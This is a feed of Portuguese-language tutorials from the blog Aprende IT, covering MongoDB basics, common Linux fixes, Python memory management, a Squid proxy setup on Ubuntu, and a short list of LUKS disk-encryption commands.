sudo systemctl status mongod

Ou podes tentar conectar-te ao servidor MongoDB utilizando o seu shell:

mongo

Gestão Básica do MongoDB a Partir do Console

Agora que tens o MongoDB a funcionar na tua máquina Ubuntu, é hora de aprender alguns comandos básicos para gerir a tua instância do MongoDB a partir do console.

Criar e Usar uma Base de Dados

Para criar uma nova base de dados, simplesmente usa o comando use seguido do nome da tua base de dados:

use minhaBaseDeDados

Se a base de dados não existir, o MongoDB irá criá-la quando guardares nela o teu primeiro documento.

Inserir Dados

Para inserir dados numa coleção, podes usar o comando insert. Por exemplo:

db.minhaColecao.insert({ nome: "Alice", idade: 25 })

Isto adicionará um novo documento à coleção minhaColecao.

Ler Dados

Podes ler ou procurar documentos numa coleção com o comando find. Por exemplo:

db.minhaColecao.find({ nome: "Alice" })

Isto procurará todos os documentos onde o nome seja “Alice”.
Atualizar Dados

Para atualizar documentos, usarias update. Por exemplo:

db.minhaColecao.update({ nome: "Alice" }, { $set: { idade: 26 } })

Isto atualizará a idade de Alice para 26.

Eliminar Dados

E para eliminar documentos, simplesmente usas remove:

db.minhaColecao.remove({ nome: "Alice" })

Isto eliminará todos os documentos onde o nome seja “Alice”.

A Potência dos Clusters do MongoDB

Embora a gestão de uma instância simples do MongoDB possa ser suficiente para muitos projetos, especialmente durante as fases de desenvolvimento e testes, quando se trata de aplicações em produção com grandes volumes de dados ou altos requisitos de disponibilidade, configurar um cluster do MongoDB pode ser essencial. Um cluster pode distribuir os dados por vários servidores, o que não só proporciona redundância e alta disponibilidade, mas também melhora o desempenho das operações de leitura e escrita.
Os clusters do MongoDB utilizam o conceito de sharding para distribuir os dados de maneira horizontal e as réplicas para assegurar que os dados estejam sempre disponíveis, mesmo se parte do sistema falhar. Num outro artigo, exploraremos como configurar o teu próprio cluster do MongoDB, mas por agora, é suficiente saber que esta é uma poderosa característica que o MongoDB oferece para escalar a tua aplicação à medida que cresce.

À medida que te aprofundas no mundo do MongoDB, descobrirás que há muito mais para aprender e explorar. Desde a sua integração com diferentes linguagens de programação até às complexidades da indexação e o desempenho das consultas, o MongoDB oferece um mundo de possibilidades que pode adaptar-se a quase qualquer necessidade de aplicação moderna.

Lembra-te que dominar o MongoDB leva tempo e prática, mas começar com os fundamentos colocar-te-á no caminho certo. Experimenta com os comandos, testa diferentes configurações e não tenhas medo de quebrar coisas num ambiente de teste; é a melhor maneira de aprender. A flexibilidade e o poder do MongoDB esperam, e com a base que construíste hoje, estás mais do que pronto para começar a explorar. Mãos à obra!

La entrada Cómo Empezar com o MongoDB: O Teu Guia Definitivo se publicó primero en Aprende IT.

Sistema não arranca após uma atualização

Imagina: acabaste de fazer uma atualização e de repente, pumba! O teu sistema não arranca. É chato, mas há uma solução. Provavelmente, algo no kernel ou nos drivers não está a funcionar corretamente.

Solução: Uma opção é arrancar com um kernel anterior. Quando aparecer o menu GRUB (gestor de arranque), escolhe uma versão anterior do kernel. Se tudo funcionar bem, talvez deves considerar manter esse kernel até que os problemas com o novo sejam resolvidos.

Conexão Wi-Fi não funciona

Por vezes, o Linux pode ser um pouco esquisito com os drivers Wi-Fi. Se a tua conexão não estiver a funcionar, poderás precisar de instalar ou atualizar o driver adequado.

Solução: Liga o teu computador à Internet através de um cabo Ethernet e procura os drivers certos para a tua placa Wi-Fi. Normalmente, o gestor de drivers da tua distribuição dar-te-á opções para instalá-los.

Problemas de resolução de ecrã

Se o teu ecrã parecer desfocado ou a resolução estiver errada, é possível que o Linux não esteja a reconhecer corretamente o teu monitor ou a tua placa gráfica.

Solução: Vai às configurações de ecrã do teu sistema e experimenta diferentes resoluções. Se isso não funcionar, considera instalar ou atualizar os drivers da tua placa gráfica.

Sem som

Não ouves nada? Que chatice! Mas não stresses, muitas vezes é uma solução fácil.

Solução: Primeiro, verifica se o som não está silenciado e se o volume está num nível adequado. Se isso não resolver, vai ao gestor de som e certifica-te de que a saída está configurada corretamente. Por fim, se ainda não funcionar, poderás precisar de instalar ou atualizar os teus drivers de som.

Não consigo instalar um programa

O Linux tem uma multitude de repositórios de software, mas às vezes, o programa que queres não está lá.

Solução: Procura um pacote .deb ou .rpm no site oficial do programa. Uma vez descarregado, abre o centro de software da tua distribuição e segue as instruções para a instalação. Se o software não oferecer pacotes para Linux, poderás experimentar ferramentas como o Wine para executar aplicações do Windows.

Sistema congela

É raro, mas acontece. Se o Linux congelar, há um par de coisas que podes tentar.

Solução: Tenta mudar para um terminal virtual pressionando Ctrl+Alt e uma tecla F (de F1 a F7). A partir daí, podes tentar reiniciar a interface gráfica com sudo service lightdm restart ou o comando apropriado para o teu gestor de ecrã. Se isso não funcionar, talvez precises de reiniciar a tua máquina.

Problemas com permissões de ficheiros

Se receberes uma mensagem a dizer que não tens permissões para aceder ou modificar um ficheiro, não desesperes.

Solução: Abre um terminal e usa o comando chmod para alterar as permissões do ficheiro. Se não tiveres a certeza de como usá-lo, procura um guia sobre chmod e chown. Mas tem cuidado e certifica-te de que sabes o que estás a fazer.

Sistema não reconhece o meu USB

Por vezes, ao ligar um dispositivo USB, o Linux não o reconhece.

Solução: Primeiro, tenta ligá-lo noutra porta. Se isso não funcionar, abre um terminal e digita lsusb para ver se o sistema o reconhece. Se aparecer na lista, talvez só precises de montá-lo manualmente.

Erros ao atualizar o sistema

Ocasionalmente, ao tentar atualizar, podes encontrar erros que impedem a conclusão.

Solução: Abre um terminal e executa sudo apt-get update seguido de sudo apt-get upgrade (ou os comandos correspondentes para o teu gestor de pacotes). Se encontraste erros, tenta procurá-los online; provavelmente, alguém já encontrou uma solução.

Não consigo aceder a um servidor SSH

Se tens problemas a aceder a um servidor via SSH, não estás sozinho.

Solução: Certifica-te de que o serviço SSH está ativo no servidor e de que não há um firewall a bloquear a porta 22. Também poderás precisar de gerar ou renovar as tuas chaves SSH na tua máquina cliente.

E pronto! Aqui tens alguns dos problemas mais comuns que poderás encontrar ao usar o Linux e como resolvê-los. Lembra-te, a comunidade Linux é vasta e sempre disposta a ajudar, por isso, se tiveres um problema, certamente alguém já passou pelo mesmo e pode dar uma ajuda. Força e desfruta do Linux!

La entrada 10 Problemas Comuns no Linux e Como Resolvê-los se publicó primero en Aprende IT.

Python é uma linguagem de programação poderosa e versátil, popular pela sua legibilidade e simplicidade. Mas também é uma linguagem de alto nível com gestão automática de memória, o que significa que o programador não tem de se preocupar muito com a alocação e libertação de memória.

Isso não significa que podemos esquecer completamente a gestão de memória. Na verdade, um bom entendimento de como o Python lida com a memória pode ajudar-te a escrever código mais eficiente e evitar problemas inesperados. Então, vamos mergulhar neste fascinante tópico.

Memória e o Coletor de Lixo

Antes de entrarmos em dicas e truques específicos, vamos entender um pouco mais sobre como o Python gerencia a memória.

Quando crias um objeto em Python, o sistema reserva um bloco de memória para o armazenar. Este bloco de memória permanece ocupado enquanto o objeto existir, ou seja, enquanto houver alguma referência a ele no teu código.

No entanto, quando um objeto já não é necessário (não há referências a ele), esse bloco de memória não é imediatamente libertado. O Python tem um componente chamado “coletor de lixo” que é responsável por libertar a memória ocupada por objetos que já não são necessários.

A Importância das Referências

Entender como funcionam as referências em Python pode ser muito útil para gerir a memória de forma eficiente. Quando atribuis uma variável a um objeto, estás realmente a criar uma referência ao objeto, não uma cópia do objeto.

Isto é importante porque significa que se atribuíres uma variável a outro objeto, a referência anterior é perdida e o objeto original pode ser coletado como lixo, libertando a sua memória. Mas tem cuidado: se houver outras referências ao objeto original, este não será eliminado.

Variáveis Imutáveis e Mutáveis

Outro aspeto que deves ter em conta ao gerir a memória em Python é a diferença entre variáveis imutáveis e mutáveis. Números, strings e tuplas são imutáveis, o que significa que uma vez criados, o seu valor não pode mudar.

Por outro lado, listas, dicionários e a maioria dos objetos definidos pelo utilizador são mutáveis, o que significa que o seu valor pode mudar. Quando modificas um objeto mutável, a mudança acontece no mesmo bloco de memória.

Truques para Otimizar a Gestão de Memória

Agora que entendemos os conceitos básicos, vamos ver alguns truques que podem ajudar-te a gerir a memória de forma mais eficiente em Python.

Usando Geradores

Os geradores são uma característica poderosa do Python que te permite iterar sobre uma sequência de valores sem ter de gerar toda a sequência na memória de uma só vez. Em vez disso, os valores são gerados à medida que vão sendo necessários, um de cada vez, o que pode poupar uma quantidade significativa de memória se a sequência for grande.

Evita Referências Desnecessárias

Lembra-te que cada referência a um objeto mantém o objeto na memória. Portanto, se quiseres que um objeto seja coletado como lixo, certifica-te de remover todas as referências a ele quando já não precisares dele.

Usando __slots__ em Classes

Se estás a definir uma classe que vai ter muitas instâncias, podes poupar memória usando __slots__. Esta é uma funcionalidade do Python que limita os atributos que uma instância de uma classe pode ter, o que pode reduzir a quantidade de memória usada para armazenar cada instância.

Reciclagem de Objetos

Em alguns casos, pode ser útil reciclar objetos em vez de criar novos. Por exemplo, se tiveres uma lista de objetos que são usados de forma intermitente, podes mantê-los num “pool” e reutilizá-los quando necessário, em vez de criar novos objetos de cada vez.

Conhecer as Ferramentas de Diagnóstico do Python

Por último, mas não menos importante, é útil conhecer as ferramentas que o Python fornece para o diagnóstico de memória. A biblioteca padrão do Python inclui módulos como gc e tracemalloc que podes usar para monitorizar e controlar a gestão de memória.

O módulo gc permite-te interagir com o coletor de lixo, enquanto o tracemalloc fornece informações detalhadas sobre a memória que está a ser usada pelo teu programa.

Então, aí o tens. A gestão de memória em Python pode parecer um tema complicado, mas com estas dicas e truques, podes começar a escrever código mais eficiente e otimizado. Lembra-te, cada pequeno detalhe conta quando se trata de otimizar a eficiência do teu código e estas dicas são um ótimo lugar para começar.

Tens algum outro truque ou dica que gostarias de partilhar? Adoraríamos ouvir sobre isso nos comentários!

La entrada Gestão de Memória em Python: Dicas e Truques Úteis para Otimizar o Teu Código se publicó primero en Aprende IT.

O que é o Squid e por que deves usá-lo?

O Squid é um proxy de código aberto que atua como intermediário entre o teu computador e a web, permitindo um controle mais detalhado sobre o tráfego da internet. Sua popularidade reside no facto de ser gratuito, robusto e altamente personalizável.

Preparando-se para a Instalação do Squid

Antes de instalar o Squid, atualiza o teu sistema Ubuntu para garantir que possuas as últimas versões dos pacotes com os seguintes comandos:

sudo apt-get update
sudo apt-get upgrade

Instalando o Squid no Ubuntu

Para instalar o Squid no Ubuntu, abre o terminal e executa o seguinte comando:

sudo apt-get install squid

Configurando o Squid no Ubuntu

Após a instalação, é hora da configuração. Edita o arquivo de configuração squid.conf utilizando o seguinte comando:

sudo nano /etc/squid/squid.conf

No arquivo de configuração, existem três opções principais a serem ajustadas:

acl: Define quem tem permissão para aceder ao proxy. Podes definir um grupo de redes para permitir o acesso usando:

acl rede_local src 192.168.1.0/24

Neste exemplo, permite-se o acesso a partir da rede 192.168.1.0/24.

http_access: Controla o acesso ao proxy. Configura-o para permitir aos utilizadores definidos na acl:

http_access allow rede_local

http_port: A porta em que o proxy aguarda as solicitações. Por padrão, o Squid utiliza a porta 3128, mas podes alterá-la:

http_port 8080

Lembra-te de guardar quaisquer alterações feitas no arquivo squid.conf.

Verificando a Configuração do Squid

Reinicia o serviço do Squid para que as alterações tenham efeito:

sudo systemctl restart squid

E verifica o estado do serviço:

sudo systemctl status squid

Se o estado for “ativo (executando)”, o teu servidor proxy está a funcionar corretamente.

Testando o Teu Servidor Proxy

Para testar o teu servidor proxy, configura o teu navegador para usar o endereço IP do teu servidor e a porta configurada no Squid. Também podes verificar os registos (logs) do Squid para ver os detalhes das solicitações processadas.

Otimizando o Teu Servidor Proxy

O Squid permite otimizar o carregamento das páginas através de caching. Para configurar esse comportamento, podes ajustar várias diretivas no arquivo squid.conf, como o espaço em disco para o cache:

cache_dir ufs /var/spool/squid 100 16 256

Neste exemplo, /var/spool/squid é o diretório de localização do cache. ufs é o tipo de sistema de armazenamento que o Squid deve usar para o cache. 100 é a quantidade de espaço em disco, em megabytes, que o Squid pode utilizar para o cache. 16 é o número de subdiretórios de primeiro nível e 256 é o número de subdiretórios de segundo nível. Juntos, esses subdiretórios determinam o número de objetos que o Squid pode armazenar em cache.

Além disso, o Squid permite bloquear ou permitir o acesso a determinados sites usando listas de controle de acesso, ou ACLs. Podes querer bloquear o acesso a determinados sites na rede do teu escritório. Para fazer isso, podes criar uma ACL e depois utilizar a diretiva http_access para negar o acesso. Aqui está como podes fazer:

acl sites_bloqueados dstdomain .facebook.com .twitter.com
http_access deny sites_bloqueados

Neste exemplo, .facebook.com e .twitter.com são os sites aos quais pretendes bloquear o acesso. “sites_bloqueados” é apenas o nome dado a esta lista de controle de acesso.

Se estiveres gerindo uma rede com largura de banda limitada, podes também querer limitar a quantidade de largura de banda que cada usuário pode utilizar. O Squid permite fazer isso com a diretiva delay_pools. Aqui tens um exemplo de como fazer:

delay_pools 1
delay_class 1 2
delay_parameters 1 -1/-1 10000/10000
delay_initial_bucket_level 100

Neste exemplo, está-se criando uma piscina de atraso (delay pool) com um limite de 10000 bytes por segundo.

Mantendo o Teu Servidor Proxy

Manter o teu servidor proxy inclui monitorizar o seu uso, verificar os registos do Squid, manter o teu sistema Ubuntu atualizado e atualizar o Squid quando necessário. Os registos do Squid podem ajudar a identificar erros e problemas de desempenho. Para visualizar os registos do Squid, podes utilizar o seguinte comando:

sudo tail -f /var/log/squid/access.log

Este comando exibe as últimas linhas do arquivo de registo e atualiza a saída à medida que mais linhas são adicionadas ao registo.

Por fim, certifica-te de atualizar regularmente o Squid e o teu sistema Ubuntu para mantê-los seguros e eficientes. Podes fazer isso com os seguintes comandos:

sudo apt-get update
sudo apt-get upgrade
sudo apt-get install squid

Uma Última Dica

Instalar e configurar um servidor proxy pode parecer uma tarefa complexa, mas com um pouco de paciência, vais familiarizar-te com o processo. E lembra-te, sempre podes recorrer à comunidade de usuários do Squid e do Ubuntu se tiveres alguma pergunta ou se deparares com algum problema.
Agradeço-te por nos acompanhares nesta jornada de criação do teu próprio servidor proxy! Se achaste este artigo útil, não hesites em partilhá-lo com os teus colegas e amigos. E não te esqueças de seguir-nos para mais guias e dicas sobre tecnologia. Até à próxima!

La entrada Criando um Proxy para o Escritório com Squid no Ubuntu: Um Guia Detalhado com Exemplos se publicó primero en Aprende IT.

La entrada Introdução ao uso de controles parentais no Linux se publicó primero en Aprende IT.

sudo cryptsetup luksFormat /dev/sda1

sudo cryptsetup luksOpen /dev/sda1 sda1_crypt

sudo cryptsetup luksClose sda1_crypt

sudo nano /etc/crypttab

sda1_crypt UUID=<uuid> none luks

sudo nano /etc/fstab

/dev/mapper/sda1_crypt /mnt/sda1_crypt ext4 defaults 0 2

La entrada Maximizando Segurança e Privacidade: Um Guia Passo a Passo para Encriptar Partições e Discos no Linux se publicó primero en Aprende IT.